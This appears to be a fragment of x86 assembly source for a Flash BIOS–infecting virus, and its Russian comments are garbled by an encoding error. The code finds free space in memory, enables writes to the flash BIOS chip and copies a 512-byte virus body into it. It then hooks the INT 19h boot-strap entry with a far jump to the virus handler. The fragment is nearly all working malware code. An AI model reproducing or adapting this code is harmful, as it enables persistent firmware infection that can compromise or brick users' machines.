; (Π²Π΅Π»ΠΈΡΠΈΠ½Π° ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΌΠ΅ΡΡΠ° Π΄Π»Ρ Π²ΠΈΡΡΡΠ°)
xor dx, dx
ok_new_segment:
; ΠΠ΅ΡΠ΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌΡ ΡΠ΅Π³ΠΌΠ΅Π½ΡΡ
inc ax
mov ds, ax
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, Π΅ΡΡΡ Π»ΠΈ Π΅ΡΠ΅ ΠΌΠ΅ΡΡΠΎ Π΄Π»Ρ Π²ΠΈΡΡΡΠ°
cmp ax, 0FFF0h
je no_flash_BIOS
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΠΎ Π»ΠΈ ΠΌΠ΅ΡΡΠΎ (Π΄Π»Ρ ΡΠΊΠΎΡΠΎΡΡΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ ΡΠ»ΠΎΠ²Π°ΠΌΠΈ)
test16:
cmp word ptr [si], 0
jne new_segment
; Π£Π²Π΅Π»ΠΈΡΠΈΠΌ ΡΡΠ΅ΡΡΠΈΠΊ ΡΠ°Π·ΠΌΠ΅ΡΠ° Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΌΠ΅ΡΡΠ°
inc dx
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅ΡΡΠ°. Π‘ΡΠ°Π²Π½ΠΈΠ²Π°Π΅ΠΌ Ρ 1 ΠΠ±Π°ΠΉΡ, Π½ΠΎ
; ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΏΠ°ΠΌΡΡΡ ΡΠΊΠ°Π½ΠΈΡΡΠ΅ΠΌ ΡΠ»ΠΎΠ²Π°ΠΌΠΈ, ΡΡΠ°Π²Π½ΠΈΠ²Π°Π΅ΠΌ Ρ 512 (1 ΠΠ±Π°ΠΉΡ=512 ΡΠ»ΠΎΠ²)
cmp dx, 512
je found_storage
; Π£Π²Π΅Π»ΠΈΡΠΈΠΌ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅ΠΌΠΎΠ³ΠΎ Π±Π°ΠΉΡΠ°
inc si
inc si
; Π‘ΡΠ°Π²Π½ΠΈΠΌ Ρ 16. ΠΠ΅ΡΠ΅Ρ ΠΎΠ΄ΠΈΠΌ ΠΊ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌΡ ΡΠ΅Π³ΠΌΠ΅Π½ΡΡ
; Π² Π½Π°ΡΠ°Π»Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠ°ΡΠ°Π³ΡΠ°ΡΠ°
cmp si, 16
je ok_new_segment
jmp test16
; B ΡΡΡ ΡΠΎΡΠΊΡ ΠΏΠΎΠΏΠ°Π΄Π°Π΅ΠΌ, Π΅ΡΠ»ΠΈ ΠΌΠ΅ΡΡΠΎ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ
Found_storage:
; ΠΠ΅ΡΠ΅ΠΉΠ΄Π΅ΠΌ ΠΊ Π½Π°ΡΠ°Π»Ρ Π·ΠΎΠ½Ρ
sub ax, 40h
mov ds, ax
; ΠΠΎΠ»ΡΡΠΈΠΌ ΡΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΡ ΠΊ ΡΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΡ ΡΠΈΠΏΠ°
mov ax, 0E001h
int 16h
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠ°ΠΌΡΡΠΈ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ Π΄Π»Ρ ΡΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΡ
; ΡΠΈΠΏΠ°. ΠΡΠ»ΠΈ ΡΠ»ΠΈΡΠΊΠΎΠΌ ΠΌΠ½ΠΎΠ³ΠΎ, Π½Π΅ Π±ΡΠ΄Π΅ΠΌ ΡΠΎΡ ΡΠ°Π½ΡΡΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅
cmp bx, 512
jbe save_chipset
; Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΠ»Π°Π³, ΠΏΠΎΠΊΠ°Π·ΡΠ²Π°ΡΡΠΈΠΉ, ΡΡΠΎ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ Π½Π΅ ΡΠΎΡ ΡΠ°Π½ΡΠ»ΠΈ
mov byte ptr cs:chipset, 1
; ΠΠ΅ΡΠ΅ΠΉΠ΄Π΅ΠΌ ΠΊ Π·Π°ΠΏΠΈΡΠΈ
jmp write_enable
; Π‘ΡΠ΄Π° ΠΏΠΎΠΏΠ°Π΄Π°Π΅ΠΌ, Π΅ΡΠ»ΠΈ Flash BIOS Π½Π΅ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½:
; Π·Π°ΠΏΠΈΡΡΠ²Π°ΡΡ Π½Π΅ΠΊΡΠ΄Π° β Π²ΡΡ ΠΎΠ΄ΠΈΠΌ
No_Flash_BIOS:
ret
; Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ ΡΠΈΠΏΠ°
save_chipset:
; Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΠ»Π°Π³, ΠΏΠΎΠΊΠ°Π·ΡΠ²Π°ΡΡΠΈΠΉ, ΡΡΠΎ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ ΡΠΎΡ ΡΠ°Π½ΠΈΠ»ΠΈ
mov byte ptr cs:chipset, 0
; Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅
mov al, 2
push cs
pop es
mov di, offset buffer
int 16h
; ΠΠ°ΠΏΠΈΡΡΠ²Π°Π΅ΠΌΡΡ Π²ΠΎ Flash BIOS
write_enable:
; ΠΠΎΠ²ΡΡΠ°Π΅ΠΌ Π½Π°ΠΏΡΡΠΆΠ΅Π½ΠΈΠ΅
mov al, 5
int 16h
; Π Π°Π·ΡΠ΅ΡΠ°Π΅ΠΌ Π·Π°ΠΏΠΈΡΡ Π²ΠΎ Flash BIOS
mov al, 7
int 16h
; ΠΠΎΠΏΠΈΡΡΠ΅ΠΌ 512 Π±Π°ΠΉΡ Π²ΠΈΡΡΡΠ° Π²ΠΎ Flash BIOS
push ds
pop es
xor di, di
mov cx, 512
push cs
pop ds
xor si, si
cld
rep movsb
mov bx, es ; ΠΠ₯=ΡΠ΅Π³ΠΌΠ΅Π½Ρ Π²ΠΈΡΡΡΠ°
xor Π°Ρ , Π°Ρ
mov ds, ax ; DS=Ta6nHua Π²Π΅ΠΊΡΠΎΡΠΎΠ²
mov di, word ptr [19h*4] ; Π‘ΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ INT 19h
mov es, word ptr [19h*4+2] ; Π‘Π΅Π³ΠΌΠ΅Π½Ρ INT 19h
; 3Π°ΠΏΠΈΡΠ΅ΠΌ JMP FAR ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ ΡΠΎΡΠΊΠΈ Π²Ρ ΠΎΠ΄Π° Π² INT 19h
mov al, 0EAh
stosb
mov ax, offset int19handler
stosw
mov ax, bx
stosw
; ΠΠΎΠ½ΠΈΠ·ΠΈΠΌ Π½Π°ΠΏΡΡΠΆΠ΅Π½ΠΈΠ΅
mov ax, 0E004h
int 16h
; 3Π°ΡΠΈΡΠΈΠΌ Flash BIOS ΠΎΡ Π·Π°ΠΏΠΈΡΠΈ
mov al, 6
int 16h
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, ΡΠΎΡ ΡΠ°Π½ΡΠ»ΠΎΡΡ Π»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ ΡΠΈΠΏΠ°, Π΅ΡΠ»ΠΈ Π½Π΅Ρ β Π²ΡΡ ΠΎΠ΄ΠΈΠΌ
cmp byte ptr cs:chipset, 0
jne No_Flash_BIOS
; ΠΠΎΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ ΡΠΈΠΏΠ°
push cs
pop es
mov al, 3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
; Π€Π»Π°Π³ Π½Π΅ΡΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΡ ΡΠΈΠΏΠ°
chipset db 0
; Π€Π»Π°Π³ ΠΏΡΠΈΡΡΡΡΡΠ²ΠΈΡ Π²ΠΈΡΡΡΠ° Π²ΠΎ Flash BIOS
flash_done db 0